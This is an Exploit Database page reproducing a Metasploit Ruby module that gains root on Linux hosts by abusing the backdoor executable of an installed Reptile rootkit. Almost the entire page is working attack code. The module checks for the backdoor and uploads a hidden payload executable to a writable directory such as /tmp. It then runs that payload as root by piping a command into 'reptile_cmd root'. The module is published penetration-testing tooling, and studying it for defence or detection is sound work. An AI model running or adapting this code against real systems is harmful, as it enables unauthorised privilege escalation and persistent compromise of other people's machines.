Reptile Rootkit – reptile_cmd Privilege Escalation (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2019-12-30
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/47804/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
  
  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Reptile Rootkit reptile_cmd Privilege Escalation',
  'Description'=> %q{
  This module uses Reptile rootkit's `reptile_cmd` backdoor executable
  to gain root privileges using the `root` command.
  
  This module has been tested successfully with Reptile from `master`
  branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'f0rb1dd3n', # Reptile
  'bcoles' # Metasploit
  ],
  'DisclosureDate' => '2018-10-29', # Reptile first stable release
  'References' =>
  [
  ['URL', 'https://github.com/f0rb1dd3n/Reptile'],
  ['URL', 'https://github.com/f0rb1dd3n/Reptile/wiki/Usage']
  ],
  'Platform' => ['linux'],
  'Arch' => [ARCH_X86, ARCH_X64],
  'SessionTypes' => ['shell', 'meterpreter'],
  'Targets'=> [['Auto', {}]],
  'Notes'=>
  {
  'Reliability' => [ REPEATABLE_SESSION ],
  'Stability' => [ CRASH_SAFE ]
  },
  'DefaultTarget'=> 0))
  register_options [
  OptString.new('REPTILE_CMD_PATH', [true, 'Path to reptile_cmd executable', '/reptile/reptile_cmd'])
  ]
  register_advanced_options [
  OptBool.new('ForceExploit', [false, 'Override check result', false]),
  OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
  ]
  end
  
  def reptile_cmd_path
  datastore['REPTILE_CMD_PATH']
  end
  
  def base_dir
  datastore['WritableDir'].to_s
  end
  
  def upload(path, data)
  print_status "Writing '#{path}' (#{data.size} bytes) ..."
  rm_f path
  write_file path, data
  register_file_for_cleanup path
  end
  
  def upload_and_chmodx(path, data)
  upload path, data
  chmod path
  end
  
  def check
  unless executable? reptile_cmd_path
  vprint_error "#{reptile_cmd_path} is not executable"
  return CheckCode::Safe
  end
  vprint_good "#{reptile_cmd_path} is executable"
  
  res = cmd_exec("echo id|#{reptile_cmd_path} root").to_s.strip
  vprint_status "Output: #{res}"
  
  if res.include?('You have no power here!')
  vprint_error 'Reptile kernel module is not loaded'
  return CheckCode::Safe
  end
  
  unless res.include?('root')
  vprint_error 'Reptile is not installed'
  return CheckCode::Safe
  end
  vprint_good 'Reptile is installed and loaded'
  
  CheckCode::Vulnerable
  end
  
  def exploit
  unless check == CheckCode::Vulnerable
  unless datastore['ForceExploit']
  fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
  end
  print_warning 'Target does not appear to be vulnerable'
  end
  
  if is_root?
  unless datastore['ForceExploit']
  fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
  end
  end
  
  unless writable? base_dir
  fail_with Failure::BadConfig, "#{base_dir} is not writable"
  end
  
  payload_name = ".#{rand_text_alphanumeric 8..12}"
  payload_path = "#{base_dir}/#{payload_name}"
  upload_and_chmodx payload_path, generate_payload_exe
  
  print_status 'Executing payload...'
  res = cmd_exec "echo '#{payload_path}&' | #{reptile_cmd_path} root & echo "
  vprint_line res
  end
  end